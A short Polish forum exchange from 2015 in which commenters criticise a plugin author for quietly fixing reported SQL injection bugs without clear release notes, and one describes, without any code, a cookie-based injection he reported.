kostek135   8 #28 05.03.2015 20:05

@matlaczek: "Jejku, nie sadzilem ze wpis o dziurze w zabezpieczeniach moze wywolac taka wojne na temat wyzszosci wanny nad prysznicem i odwrotnie."

Nie ma się o co kłócić, każdy wie, że pryszcznic jest wyżej od wanny, tylko nie którzy próbują stawać na suficie i twierdzić, że jest inaczej - if you know what I mean ;)

A tak jeszcze w temacie, bardzo nieprofesjonalne podejście do releasów tego "twórcy". "Frontend bug fixed", nie wiem czy taka informacja zachęciłaby mnie, by robić update z 1.4.10 do 1.4.11 (jakoś bardziej mi się to kojarzy ze zmianą pixel w lewo/pixel w prawo), podejrzewam, że "security issue - sql injection bug fixed" jakoś bardziej by mnie zmobilizowało.

matlaczek   2 #29 09.03.2015 18:12

@kostek135: Co do releasow tego "tworcy" to lepiej sie nie denerwowac. Ostatnio mu zglosilem kolejne SQL Injection w innej wtyczce i... nawet mi nie odpisal - po prostu poprawil babola (w sposob dosyc smieszny) i nawet nie zrobil zadnego wpisu w change-logu ani nic w tym stylu. Nie dostalem zadnej info zwrotnej, zadnego mejla z podziekowaniem czy cokolwiek :) W wolnej chwili postaram sie napisac exploita wykorzystujacego podatnosc i wszystko opisze - autorowi wyslalem jedynie PoC. Co ciekawe tamta druga wtyczka troche lepiej napisana i nawet z dystansem podchodzi do danych wejsciowych z POST i GET ale... dane zapisane w COOKIE wpadaja jak sie tylko da i to wlasnie poprzez manipulacje ciasteczkami mozna z baza zrobic co sie zywnie podoba :). Moze za niedlugo pojawi sie kolejny wpis.